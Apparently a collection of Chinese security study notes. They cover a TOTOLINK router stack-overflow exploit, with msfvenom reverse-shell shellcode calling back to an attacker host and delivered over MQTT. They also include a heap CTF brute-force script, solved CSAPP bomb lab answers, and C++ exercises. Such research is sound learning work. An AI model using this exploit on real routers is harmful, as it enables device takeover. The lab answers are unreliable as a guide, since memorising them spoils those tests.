6.6 lan.so、wan.so、wps.so没找到
七、溢出漏洞调试7.1 gdbserver调试 被调试的机器下载gdbserver,然后启动 gdbserver 192.168.xx.xx:1234 ./helloworld,或者进行attach进程
123root@VM-24-10-ubuntu:/home/ubuntu/gdb# ./gdbserver-7.10.1-x64 :80 --attach 17031Attached; pid = 17031Listening on port 80
https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver
调试机器开启gdb后连接即可 (gdb) target remote 192.168.xx.xx:1234
123456789pwndbg> target remote xxxxxx:80Remote debugging using xxxxxxxx:80Reading /home/ubuntu/gdb/pwn2 from remote target...warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.Reading /home/ubuntu/gdb/pwn2 from remote target...Reading symbols from target:/home/ubuntu/gdb/pwn2...(No debugging symbols found in target:/home/ubuntu/gdb/pwn2)0x0000000000400a40 in _start ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
在这里踩了很多坑,很多时候连上能成功,但是ni执行的时候就出问题了,立马断掉,进程就会挂掉,尝试很多不同的gdbserver,自己也尝试编译了一下,都失败了,马上要放弃的时候,又找了一个版本https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
rapid7编译的,可以正常使用了
7.2 ida动态调试\远程调试 和gdbserver联动
7.2.1附加调试(无符号信息)
这种方式没有反汇编的函数信息等
设置mipsel
选择 Processor type
基本命令 https://blog.csdn.net/m0_52164435/article/details/124871122
7.2.2 运行调试(有符号信息) 先加载二进制文件,main函数处下断点、debugger–process options 设置好ip和端口
被调试那里开启服务,然后debugger-attach to process即可
如果不确定本地的版本和远程的时候一样可以导出二进制文件
123cat ./cs_broker | /tmp/busybox-mipsel base64 # 编码过程# 将base64编码的内容保存到本地文件pcap64cat cs | base64 -d > cs_broker # 解码过程
./gdbserver.mipsle :9999 –attach 1335 ida能够成功连接上,但是ida那边运行后,一发送mqtt包就会蹦.. 偶尔能调试成功,能单步走..比较玄学,因为gdb那边调试没用问题,就先用gdb进行调试了
123456789101112131415# ./gdbserver.mipsle :9999 --attach 1335Attached; pid = 1335Listening on port 9999Remote debugging from host 192.168.55.3Connection closed by foreign host. # ./gdbserver.mipsle :9999 --attach 1335Attached; pid = 1335Listening on port 9999Remote debugging from host 192.168.55.3ptrace: Input/output error.input_interrupt, count = 1 c = 36 ('$')input_interrupt, count = 1 c = 36 ('$')input_interrupt, count = 1 c = 107 ('k')
好像和二进制文件有关?
12345The current debugger backend (gdb) does not provide memory information to IDA.Therefore the memory contents may be invisible by default.Please use the Debugger/Manual memory regions menu item to configure the memory layout.It is possible to define just one big region for the whole memory(IDA will display question marks for missing memory regions in this case).
7.3 filewall.so库中setIpQosRules函数栈溢出调试123456789101112131415int __fastcall setIpQosRules(int a1, int a2, int a3){ ...... char v14[23]; // [sp+18h] [-B8h] BYREF ...... v12 = (const char *)websGetVar(a2, "comment", &byte_9268); ...... strcpy(v14, v12); apmib_set(131385, v14); apmib_set(65848, v14); apmib_update_web(4); system("sysconf firewall"); websSetCfgResponse(a1, a3, "0", "reserv"); return 0;}
comment明显存在溢出,复制给栈上数据v14
7.3.1 利用脚本生成反弹shell payload:msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.55.4 LPORT=9999 -f py -o mips.txt
12345678910111213141516171819202122232425from pwn import *import paho.mqtt.client as mqttbuf = "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"buf += "\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"buf += "\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"buf += "\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"buf += "\x27\x0f\x0e\x3c\x27\x0f\xce\x35\xe4\xff\xae\xaf"buf += "\x37\x02\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"buf += "\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"buf += "\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"buf += "\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"buf += "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"buf += "\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"buf += "\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"buf += "\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"buf += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"buf += "\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"buf += "\x0c\x01\x01\x01"test = "a"*218client = mqtt.Client()client.connect("192.168.55.1",1883,60)client.publish('totolink/router/setting/setIpQosRules',payload='{"topicurl":"setting/setIpQosRules","comment":"xx'+test+'\xb4\x43\x41"}'+'bling'+buf)
偏移量具体多少可以在调试的时候查看
7.3.2 调试案例1234567891011121314151617181920212223242526272829303132333435363738394041路由器上# ./gdbserver.mipsle :9999 --attach 14725Attached; pid = 14725Listening on port 9999 调试机器target remote 192.168.55.1:9999 vmmap例如查到firewall.so的基地址是0x778ec000.text:00003414 la $t9, strcpy.text:00003418 jalr $t9 ; strcpy.text:0000341C move $a1, $s1 # src.text:00003420 lw $gp, 0xD0+var_C0($sp).text:00003424 li $a0, 0x20139ida中看到strcpy的地址是00003418, 于是下断点在0x778ec000+0x0003418 = 0x778ef418b *0x778ef418 此外,为了更好的查看覆盖返回地址情况 可以在开头再下一个断点, sw $ra, 0xD0+var_s24($sp) 这个是存放返回地址的指令,放在$ra寄存器里.text:0000329C li $gp, (_fdata+0x7FF0 - .).text:000032A4 addu $gp, $t9.text:000032A8 addiu $sp, -0xF8.text:000032AC sw $ra, 0xD0+var_s24($sp)以及下断点到最后,查看最后劫持返回地址的效果.text:000034C4 jr $ra 然后c继续执行 由于第一次进行strcpy会会进行strcpy动态链接的符号解析等等,而且gdb中不知道为什么finish等不能用,所以先随便发点东西,不触发漏洞,在第二次运行时,再触发漏洞,具体查看strcpy的过程( 非常容易打挂...调试了很多次)
这四行代码是复制语句,将输入复制到栈上,
复制成功后,看到已经把返回地址修改了
0x4143b4就是shellcode的开始
返回处 跳到shellcode 开始执行
获取反弹shell
7.3.3 遇到的坑 刚开始调试的时候,发现怎么也弹不回shell,(在mac上开的nc,后来发现其实链接已经建立了,),调试了好久
其实已经收到了shell,但是没有提示显示….
八、参考https://blingblingxuanxuan.github.io/2021/09/25/analysis-of-totolink-t10/
https://zone.huoxian.cn/d/2676-totolink-cve-2022-25084
https://www.52pojie.cn/thread-1715223-1-1.html
https://github.com/gtrboy/totolink
https://github.com/SeppPenner/mqttfx171-backup/tree/master/Binaries
https://web.archive.org/web/20220504092050/http://www.jensd.de/apps/mqttfx/1.7.1/
https://mqttfx.jensd.de/index.php/download
https://blog.csdn.net/dong__ge/article/details/126322091
https://blog.csdn.net/m0_43406494/article/details/124815879
pwn入门-25-高级网络攻防练习题一道
题目链接: 本链接加上 ./pwn即可
程序逻辑分析
该程序是根据时间戳为随机数的种子,然后随机malloc和free一些内存,即把堆的空间打乱,然后再去给flag分配内容空间,然后把控制权交给用户,让用户进行操作.
解题思路思路一 枚举 不论是最开始的打乱堆空间还是分配flag的堆空间,堆块的大小都限定在了0x400以内,也就是tcache的范围. 换言之,堆块的大小有40种情况.
flag分配的堆块必定在这40种情况之中,如果在flag分配的时候,正好分配到了tcache中的bin,那么如果知道tcache中的这个bin的空间中的前一个bin的大小,那么就可以去申请这个bin,然后进行show打印,就有可能打印出来flag.
举例:
先随机化分配了一些堆块
0x100
0x40
0x30
0x50
0x40
然后释放了一些堆块
0x100
0x40
0x30
0x50
0x40
申请flag堆块
0x100
0x40
0x30
0x50 flag
0x40
此时,如果能够申请到0x40的空闲堆块,然后进行打印,就有可能会打印出来flag
这种方法存在一定的约束条件:
1.根据tcache的后进先出原则,flag前的空闲堆块需要是最后一个释放的空间,不然的话就要先申请它后面的tcache bin
2.flag的堆块与前面一个空闲堆块的距离要小于show能打印的范围
不过随着尝试的次数增多,总会有满足这两个约束条件的情况,利用多线程,申请0x10,0x20,0x30….0x400大小的堆块,可以满足所有的情况,那么唯一不确定的就是是否符合约束条件,但通过该种尝试,也大大提高了枚举的成功率
exp攻击脚本12345678910111213141516171819202122232425262728293031323334353637from pwn import *import threadingimport sysdef brute_force(size): p = remote("xxxx", xxxxx) context.log_level = 'debug' p.sendlineafter("> ",str(1)) p.sendlineafter("Index: ",str(1)) p.sendlineafter("Size: ",str(size)) p.sendlineafter("Data: ","aaa") p.sendlineafter("> ",str(3)) p.sendlineafter("Index: ",str(1)) recv = p.recv(1024) while True: if b"flag" in recv: print(recv) break else: p.sendline(str(3)) p.sendlineafter("Index: ",str(1)) recv = p.recv(1024) p.close()if __name__ == '__main__': threads = [] for i in range(0x10, 0x410, 0x10): t = threading.Thread(target=brute_force, args=(i,)) threads.append(t) t.start() for t in threads: t.join()
把输出 重定向到1.txt 一次不一定能成功,一般几次就可以了
思路二漏洞点分析 随机数种子设置代码:v3 = time(0LL);
对随机数的种子的设置是精确到了s,所以它事实上是可以进行预测的.如果随机值是确定的,那么就可以确定后面分配了哪些堆块,释放了哪些堆块,flag申请到了哪个堆块,flag前面的空闲堆块是哪一个,都可以进行确定
如何就可以获取flag堆块前面的第一个空闲堆块的大小,也可以获取它是第几个.
然后就可以根据时间戳获取确定的解了,就可以算出即将到来的时间对应的解.在时间到来时发送payload即可.
根据时间戳获取flag堆块前一个空闲堆块脚本1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071#include <stdio.h>#include <stdlib.h>#include <time.h>#define SIZE 10int main(){srand(1000);int v0 = rand();unsigned int v1 = v0 >> 31;unsigned int v2 = v1 >> 24;unsigned int v3 = v2 + v0;unsigned int v4 = v1 >> 24;unsigned char v5 = (unsigned char)v3 - (unsigned char)v4;v3 = v5;void** pre_sprays = malloc(v3 * sizeof(void*));int *pre_spray_sizes = malloc(v3 * sizeof(size_t));for (int i = 0; i < v3; ++i ) { v1 = rand(); pre_sprays[i] = malloc(v1 % 1024); pre_spray_sizes[i] = malloc_usable_size(pre_sprays[i]);}for (int i=0;i<v3;++i){ printf("%d\n",pre_spray_sizes[i]);} int *pre_free_sizes = malloc(v3 * sizeof(size_t));for ( int j = 0; j < v3; ++j ) { v1 = rand(); if ( ( v1 & 1) != 0 ) { pre_free_sizes[j] = pre_spray_sizes[j]; free(pre_sprays[j]); } }for (int j=0;j<v3;++j){ printf("index:%d, size:%d\n",j,pre_free_sizes[j]);} v1 = rand() % 982 + 42; char* flagaddr = malloc(v1); int flagsize = malloc_usable_size(flagaddr); v1 = rand(); printf("flag size:%d\n",flagsize); int tmp; for (int i = v3 - 1; i >= 0; i--) { if (pre_free_sizes[i] == flagsize) { printf("%d is the index\n",i); tmp = i; break; } } for (int i = tmp - 1; i >= 0; i--) { if (pre_free_sizes[i]!= 0 ) { printf("index: %d , size: %d ",i,pre_free_sizes[i]); break; } } return 0;}
根据这个脚本可以获取flag堆块前面一个空闲堆块的位置和大小,(脚本有待完善,没有判断是第几个,大小貌似也有点问题)
还有就是可以同时多开几个不同的大小的,一起尝试
技术点总结1.c语言随机数函数srand、rand的理解
其实这是个伪随机数函数,如果能确定srand的输入,那么随机数的种子就是确定的,rand得到的随机数的值也是确定的.
2.对堆块布局的理解
在没有bin的情况下,堆的申请在堆内存中是连续的,所以堆块之间都是相邻的,如果想要获取一个堆块的信息,可以通过与它相临的堆块的越界读取来获得.
csapp-bomb_lab
http://csapp.cs.cmu.edu/3e/labs.html
这个实验是一个逆向实验,主要是逆向代码,理解程序逻辑.主要是静态分析,有一些东西不好理解可以借助动态分析来调试.
题目主要分了六步,以及一个隐藏关卡
阶段一 直接对比字符串即可,
123456789__int64 __fastcall phase_1(__int64 a1){ __int64 result; // rax result = strings_not_equal(a1, "Border relations with Canada have never been better."); if ( (_DWORD)result ) explode_bomb(); return result;}
阶段二 读取六个值,第一个值必须为1. 然后循环处理剩下五个值,这里有一条关键语句,对它的理解非常重要
1result = (unsigned int)(2 * *((_DWORD *)v2 - 1));
(_DWORD *)v2这个的意思是把v2这个指针强制转换成 _DWORD类型的指针,然后对v2这个指针-1,其实是-4字节(减去指针指向的数据类型的大小),也就是指向这个指针的前一个数值的指针,然后再加一个 * 得到 这个位置的值,然后再乘2
综上所述,第一个位置为1,下一个位置是上一个位置的两倍,于是答案:1 2 4 8 16 32
阶段三12if ( (int)__isoc99_sscanf(a1, "%d %d", &v2, &v3) <= 1 ) explode_bomb();
把a1按照空格分开两个数,分别给v2,v3, v2对应的值和v3一样即可,有多个解, 如:0 207
阶段四 scanf的返回值是 匹配上的个数,所以阶段三可以只输入v2,那能有解吗??????
这里有个递归调用,result和v3都要为0,v3直接输入0即可,result呢,进func4能发现func4里的v3和我们输出的v2只要相等,就会返回0,v3的值是固定的7,所以v2输入7即可.
有个注意的点就是看清楚条件,这个条件是都需要为0才能过关,刚开始以为都不能为0(思维惯性?)
12if ( (_DWORD)result || v3 ) explode_bomb();
7 0
阶段五 输入一个长度为6的字符串,每个值与0xf进行与操作,然后取array_3449数组中相应的值,看是否与flyers字符串里对应的字符匹配
1234567if ( (unsigned int)string_length(a1) != 6 ) explode_bomb();for ( i = 0LL; i != 6; ++i ) v3[i] = array_3449[*(_BYTE *)(a1 + i) & 0xF];v3[6] = 0;if ( (unsigned int)strings_not_equal(v3, "flyers") ) explode_bomb();
逆向过来想的话,先找到array_3449数组中对应的值
12345678array_3449: ?aduiersnfotvbyl 9 f15 l14 y5 e6 r7 s
然后就是 x & 0xf等于这个值即可,&0xf的话,就是取后四位
1001 末四位为9,其余任意 以此类推 1111 1110 0101 0110 0111
一种解:ionefg 解不唯一,只要末位符合即可
阶段六 读入6个整数,都小于7,且每个都不相等,不会是0和负数,因为这样话无符号数会很大,所以就是1 2 3 4 5 6
12345678910111213141516171819 v1 = v15; read_six_numbers(a1, (__int64)v15); v2 = 0; while ( 1 ) { if ( (unsigned int)(*v1 - 1) > 5 ) explode_bomb(); if ( ++v2 == 6 ) break; v3 = v2; do { if ( *v1 == v15[v3] ) explode_bomb(); ++v3; } while ( v3 <= 5 ); ++v1; }
注意结合顺序,这里不是读的v1-1,而是v1地址取值后-1
1if ( (unsigned int)(*v1 - 1) > 5 )
调整顺序
1 2 3 4 5 6 => 6 5 4 3 2 1
1 3 2 4 6 5 => 6 4 5 3 1 2
1234567v4 = (char *)v15; do { *(_DWORD *)v4 = 7 - *(_DWORD *)v4; v4 += 4; } while ( v4 != &v16 );
下一步把这些数放到一个链表中,就按照数的顺序,匹配给对应的链表的结点,比如node2就匹配2,v17数组中的顺序,就按照给定的这个顺序来
注意这个node是一个16位的数据,前8位代表了自己的值,后8位(v6[1])连接下一个node(指针,指向下一个node)
1234567891011121314151617181920for ( i = 0LL; i != 24; i += 4LL ){ v8 = v15[i / 4]; if ( v8 <= 1 ) { v6 = &node1; } else { v7 = 1; v6 = &node1; do { v6 = (_QWORD *)v6[1]; ++v7; } while ( v7 != v8 ); } *(__int64 *)((char *)&v17 + 2 * i) = (__int64)v6;}
举例来说,加入给定的顺序是 1 2 3 6 5 4 ,经过前面变换后得到6 5 4 1 2 3,会按照对应的顺序,找到它在链表中的结点的位置,也就是6 5 4 1 2 3,赋值给v17
1234567891011v9 = v17;v10 = &v18;for ( j = v17; ; j = v12 ){ v12 = *(_QWORD *)v10; *(_QWORD *)(j + 8) = *(_QWORD *)v10; v10 += 8; if ( v10 == &v19 ) break;}*(_QWORD *)(v12 + 8) = 0LL;
翻译一下,会发现,这里其实什么也没干….就是单纯为了增加思考量.
在第一次循环中,*(_QWORD *)(j + 8) = *(_QWORD *)v10;,因为j+8就是v18,v10也是v18,相当于v18=v18
后面的迭代这条语句也没用,因为在后面的迭代中,j = v12 = v10, 第一轮中v10=v10+8, 所以在第二次迭代中,这里的语句就成了v10+8 = v10+8, 后面也一样,每一轮的*(_QWORD *)(j + 8) = *(_QWORD *)v10; 两边都是相等的.
12345678910v13 = 5;do{ result = **(unsigned int **)(v9 + 8); if ( *(_DWORD *)v9 < (int)result ) explode_bomb(); v9 = *(_QWORD *)(v9 + 8); --v13;}while ( v13 );
然后来到最后一步,v9也就是v17,存储着node链表的顺序,
注意这条语句,先将v9加8,也就是获取存储的第二个node的地址,unsigned int **代表指向指针的指针类型,二级指针,因为在v9也就是v17中,存储的是一个数的指针的指针
1result = **(unsigned int **)(v9 + 8);
看下面的例子,对这个二级指针解引用,刚开始指针指向0x6032f8,第一次解引用取得0x603300,也就是node结点的的下一个结点的地址,再解引用,得到下一个结点存储的值0x4000002b3
12345pwndbg> teles $rbx00:0000│ rbx 0x6032f0 (node3) ◂— 0x30000039c01:0008│ 0x6032f8 (node3+8) —▸ 0x603300 (node4) ◂— 0x4000002b3 if ( *(_DWORD *)v9 < (int)result )
这里的比较大小,比较的是结点的大小,需要前面的大于后面的,例如
如果是在v9中是1 2 3 4 5 6的顺序的话
取node2 , 需要node2<node1
取node3 , 需要node3<node2
所以要按照node的数值的大小排布一下
123456704:0020│ 0x7fffffffe3f0 —▸ 0x6032d0 (node1) ◂— 0x10000014c05:0028│ 0x7fffffffe3f8 —▸ 0x6032e0 (node2) ◂— 0x2000000a806:0030│ 0x7fffffffe400 —▸ 0x6032f0 (node3) ◂— 0x30000039c07:0038│ 0x7fffffffe408 —▸ 0x603300 (node4) ◂— 0x4000002b3pwndbg>08:0040│ 0x7fffffffe410 —▸ 0x603310 (node5) ◂— 0x5000001dd09:0048│ 0x7fffffffe418 —▸ 0x603320 (node6) ◂— 0x6000001bb
所以顺序应该是 (从大到小) Node 3 4 5 6 1 2
所以经过转换后的值应该是这个,所以转换前的值是 4 3 2 1 6 5
可以进行爆破,排列组合就720种
12345678910root@VM-24-10-ubuntu:/home/ubuntu/csapp/boom/bomb# ./bomb fileWelcome to my fiendish little bomb. You have 6 phases withwhich to blow yourself up. Have a nice day!Phase 1 defused. How about the next one?That's number 2. Keep going!Halfway there!So you got that one. Try this one.Good work! On to the next...4 3 2 1 6 5Congratulations! You've defused the bomb!
隐藏关卡1234567891011if ( num_input_strings == 6 ){ if ( (unsigned int)__isoc99_sscanf(&unk_603870, "%d %d %s", &v1, &v2, v3) == 3 && !(unsigned int)strings_not_equal(v3, "DrEvil") ) { puts("Curses, you've found the secret phase!"); puts("But finding it and solving it are quite different..."); secret_phase(); } puts("Congratulations! You've defused the bomb!");}
可以看到,进入隐藏关卡需要num_input_strings == 6,从read_line函数可以知道,这个值是每过一关+1的,所以也就是过了第六关后开启.
需要获取unk_603870处的值,并且v3需要等于DrEvil,那么我们怎么修改unk_603870的值呢?
在read_line函数中的skip函数中能够看到,我们每次输入的值,其实都是输入到了80*num_input_strings + 0x603780这个位置,
而num_input_strings是每过一关+1的,0x603870 - 0x603780 = 240,也就是过了3关后,第四关写入的值,就写入到这里了
123456789101112131415char *skip(){ char *v0; // rax char *v1; // rbx do { v0 = fgets((char *)(80LL * num_input_strings + 6305664), 80, infile); v1 = v0; } while ( v0 && (unsigned int)blank_line(v0) ); return v1;}6305664 = 0x603780
所以在第四步后面加上DrEvil就可以了7 0 DrEvil 因为在第四步求解的时候是取前两个值,所以不影响正常的解答
然后就进入下一步了
1234567891011121314unsigned __int64 secret_phase(){ const char *line; // rax unsigned int v1; // ebx line = read_line(); v1 = strtol(line, 0LL, 10); if ( v1 - 1 > 0x3E8 ) explode_bomb(); if ( (unsigned int)fun7(&n1, v1) != 2 ) explode_bomb(); puts("Wow! You've defused the secret stage!"); return phase_defused();}
strtol 把参数 line 所指向的字符串根据给定的 base 转换为一个长整数
12345678910111213__int64 __fastcall fun7(__int64 a1, __int64 a2){ __int64 result; // rax if ( !a1 ) return 0xFFFFFFFFLL; if ( *(_DWORD *)a1 > (int)a2 ) return 2 * (unsigned int)fun7(*(_QWORD *)(a1 + 8), a2); result = 0LL; if ( *(_DWORD *)a1 != (_DWORD)a2 ) return 2 * (unsigned int)fun7(*(_QWORD *)(a1 + 16), a2) + 1; return result;}
最终要拿到2, 可以是2*1 所以先进入上面那个if,然后下面的if, 第三次调用fun7要得0
所以
1.a2先< 0x24 然后 a1+8的值是8,
2.a2要>8进入第二个分支
3.然后通过相等得到0, a1+0x16的话,就得到了0x16, 所以是0x16!
12345678910111213root@VM-24-10-ubuntu:/home/ubuntu/csapp/boom/bomb# ./bomb fileWelcome to my fiendish little bomb. You have 6 phases withwhich to blow yourself up. Have a nice day!Phase 1 defused. How about the next one?That's number 2. Keep going!Halfway there!So you got that one. Try this one.Good work! On to the next...Curses, you've found the secret phase!But finding it and solving it are quite different...22Wow! You've defused the secret stage!Congratulations! You've defused the bomb!
问题调试文件,如果没有这个文件呢/?
c++入门-1-《Essential_c++》第二章 面向过程
第二章 面向过程
传参数 其实除了传递值本身,另外的其实有两种,一种是传递地址(pointer),一种是传递reference
???
inline 性能和可读性
重载机制: 将一组实现代码不同但工作内容相似的函数加以重载,可以让函数用户更容易使用这些函数,如果没有重载机制,就需要为每个函数提供不同的名称
模版函数: 就是一些函数,功能一样,只是参数类型不一样,每一个都重写就很麻烦,模版函数可以实现将参数类型推迟绑定,绑定后生成一份函数实例
模版函数也可以再进行重载
函数指针有点晕,看看c那本书
章节2练习练习2.1
12345678910111213141516171819202122232425262728293031#include <iostream>using namespace std;bool fibon_elem(int,int &);int main(){ int pos,elem; while(1){ cout << "please input a position,exit:-1 "; cin >> pos; if (pos == -1) return 0; if (fibon_elem(pos,elem)) cout << "element # " << pos << " is " << elem <<endl; else cout << "sorry, could not calculate element # "<< pos <<endl;}}bool fibon_elem(int pos,int &elem){ if (pos <=0 || pos >1024) { elem=0;return false;} elem =1; int n_1 = 1,n_2=1; for (int ix=3;ix<=pos;++ix) { elem = n_2+n_1; n_1 = n_2; n_2 = elem; } return true;}
练习2.2
12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include <iostream>#include <vector>using namespace std;void add(vector<int> &vec,int num);void display(const vector<int> &vec);int main(){ vector<int> vec(0); while(1){ cout << "please input the num you want,exit:-1" << endl; int num; cin >> num; if (num == -1) exit(-1); add(vec,num); display(vec); } return 0;}void add(vector<int> &vec,int num){ if (num<=0 || num > 1024) { cerr << "warning:num is wrong" << endl; exit(-1); //exit的写法是错的!!! } int pn=0; for (int ix=vec.size()+1;ix<=num;ix++) //这样的话,就不用重复添加了, { pn = (ix*(3*ix - 1))/2; vec.push_back(pn); }}void display(const vector<int> &vec){ for (int ix=0;ix < vec.size(); ++ix) { cout << vec[ix] << ' ' ; } cout << endl;}
练习2.3
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152#include <iostream>#include <vector>using namespace std;inline bool is_size_ok(int size);void add(vector<int> &vec,int size);void display(const vector<int> &vec);int main(){ vector<int> vec(0); cout << "please input the num you want" << endl; int size; cin >> size; add(vec,size); display(vec); return 0;}inline bool is_size_ok(int size){ const int max_size = 1024; if(size <=0 || size > max_size) { cerr << "warning:num is wrong" << endl; return false; } return true;}void add(vector<int> &vec,int size){ if (!is_size_ok(size)) exit; int pn=0; for (int ix=1;ix<=size;ix++) { pn = (ix*(3*ix - 1))/2; vec.push_back(pn); }}void display(const vector<int> &vec){ for (int ix=0;ix < vec.size(); ++ix) { cout << vec[ix] << ' ' ; } cout << endl;}
答案给的版本翻译过来
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455#include <iostream>#include <vector>using namespace std;inline bool add(vector<int> &vec,int size);void display(const vector<int> &vec);void really_add(vector<int> &vec,int size); //答案给的这里用了extern,不过在同一文件里不用 int main(){ vector<int> vec(0); cout << "please input the num you want" << endl; int size; cin >> size; if(add(vec,size)) display(vec); return 0;}inline bool add(vector<int> &vec,int size){ const int max_size = 1024; if(size <=0 || size > max_size) { cerr << "warning:num is wrong" << endl; return false; } if (vec.size() < size) really_add(vec,size); return true;}void really_add(vector<int> &vec,int size){ int pn=0; for (int ix=vec.size()+1;ix<=size;ix++) { pn = (ix*(3*ix - 1))/2; vec.push_back(pn); }}void display(const vector<int> &vec){ for (int ix=0;ix < vec.size(); ++ix) { cout << vec[ix] << ' ' ; } cout << endl;}
练习2.4
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061#include <iostream>#include <vector>using namespace std;void show(int num);inline bool is_size_ok(int size);vector<int>* store();void add(int size);int main(){ cout << "please input the size you want" << endl; int size,num; cin >> size; add(size); cout << "please input the num you want" << endl; cin >> num; show(num); return 0;}inline bool is_size_ok(int size){ const int max_size = 1024; if(size <=0 || size > max_size) { cerr << "warning:num is wrong" << endl; return false; } return true;}vector<int>* store(){ static vector<int> vecp; return &vecp;}void add(int size){ if (!is_size_ok(size)) exit; vector<int>* vecp= store(); vector<int>& vec = *vecp; int pn=0; for (int ix=vec.size();ix<=size;ix++) { pn = (ix*(3*ix - 1))/2; vec.push_back(pn); }}void show(int num){ vector<int>* vecp= store(); vector<int>& vec = *vecp; cout << "this:" <<vec[num]<<endl;}
练习2.5
inline 的话,就不用再声明了?
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475#include <string>#include <iostream>#include <vector>#include <algorithm>using namespace std;int max(int a,int b);float max(float a,float b);string max(string a,string b);int max(vector<int> &vec);float max(vector<float> &vec);string max(vector<string> &vec);int max(int* a,int size);float max(float* a,int size);string max(string* a,int size);int main(){ string sarray[] = {"we","were","her","pride","of","ten"}; vector<string> svec(sarray,sarray+6); int iarray[] = {12,70,2,169,1,5,29}; vector<int> ivec(iarray,iarray+7); float farray[] = {2.5,24.8,18.7,4.1,23.9}; vector<float> fvec(farray,farray+5); int imax = max(max(ivec),max(iarray,7)); float fmax = max(max(fvec),max(farray,5)); string smax = max(max(svec),max(sarray,6)); cout << "imax should be 169 -- found: " << imax << '\n' << "fmax should be 24.8 -- found: " << fmax << '\n' << "smax should be were -- found: " << smax << '\n';}int max(int a,int b){return a>b? a:b;}float max(float a,float b){return a>b? a:b;}string max(string a,string b) //为什么要加const和&呢?{return a>b? a:b;}int max(vector<int> &vec){ return *max_element(vec.begin(),vec.end());}float max(vector<float> &vec){ return *max_element(vec.begin(),vec.end());}string max(vector<string> &vec){ return *max_element(vec.begin(),vec.end());}int max(int* arr,int size){ return *max_element(arr,arr+size);}float max(float* arr,int size){ return *max_element(arr,arr+size);}string max(string* arr,int size){ return *max_element(arr,arr+size);}
在写这个程序的时候遇到了很多奇奇怪怪的小问题,都是对很多地方理解不到位,有时间了慢慢总结.
练习2.6
12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include <string>#include <iostream>#include <vector>#include <algorithm>using namespace std;template <typename Type>inline Type max1(Type a,Type b){ return a>b? a:b;}template <typename elemType>inline elemType max1(const vector<elemType> &vec){ return *max_element(vec.begin(),vec.end());}template <typename arrayType>inline arrayType max1(const arrayType *arr,int size) //注意*的位置,放前面不对??{ return *max_element(arr,arr+size);}int main(){ string sarray[] = {"we","were","her","pride","of","ten"}; vector<string> svec(sarray,sarray+6); int iarray[] = {12,70,2,169,1,5,29}; vector<int> ivec(iarray,iarray+7); float farray[] = {2.5,24.8,18.7,4.1,23.9}; vector<float> fvec(farray,farray+5); int imax = max1(max1(ivec),max1(iarray,7)); float fmax = max1(max1(fvec),max1(farray,5)); string smax = max1(max1(svec),max1(sarray,6)); cout << "imax should be 169 -- found: " << imax << '\n' << "fmax should be 24.8 -- found: " << fmax << '\n' << "smax should be were -- found: " << smax << '\n';}
这里出现了一个奇怪的错误,网友也有很多遇到的
121.c:38:41: error: call of overloaded ‘max(int, int)’ is ambiguous 38 | int imax = max(max(ivec),max(iarray,7));
https://segmentfault.com/q/1010000019322724
pwn入门-24-栈迁移练习题3道
1.[极客大挑战 2019]Not Bad分析反编译代码及保护 Ubuntu 18 2.23libc也就是说理论上
1234567891011121314151617__int64 __fastcall main(int a1, char **a2, char **a3){ mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); sub_400949(); sub_400906(); sub_400A16(); return 0LL;}int sub_400A16(){ char buf[32]; // [rsp+0h] [rbp-20h] BYREF puts("Easy shellcode, have fun!"); read(0, buf, 0x38uLL); return puts("Baddd! Focu5 me! Baddd! Baddd!");}
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 开始分配了一段空间,不知道干啥用的
然后安装了seccomp,设置io流,读入0x38 = 56字节, 减去32 减去8rbp, 16个字节的溢出
123456789root@VM-24-10-ubuntu:/home/ubuntu/stackpivot/jikenotbad# checksec bad[*] '/home/ubuntu/stackpivot/jikenotbad/bad' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x3ff000) RWX: Has RWX segments RUNPATH: b'/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/'
可以写shellcode, orw读取flag, 写的话,直接是写入到了一开始mmap的地址
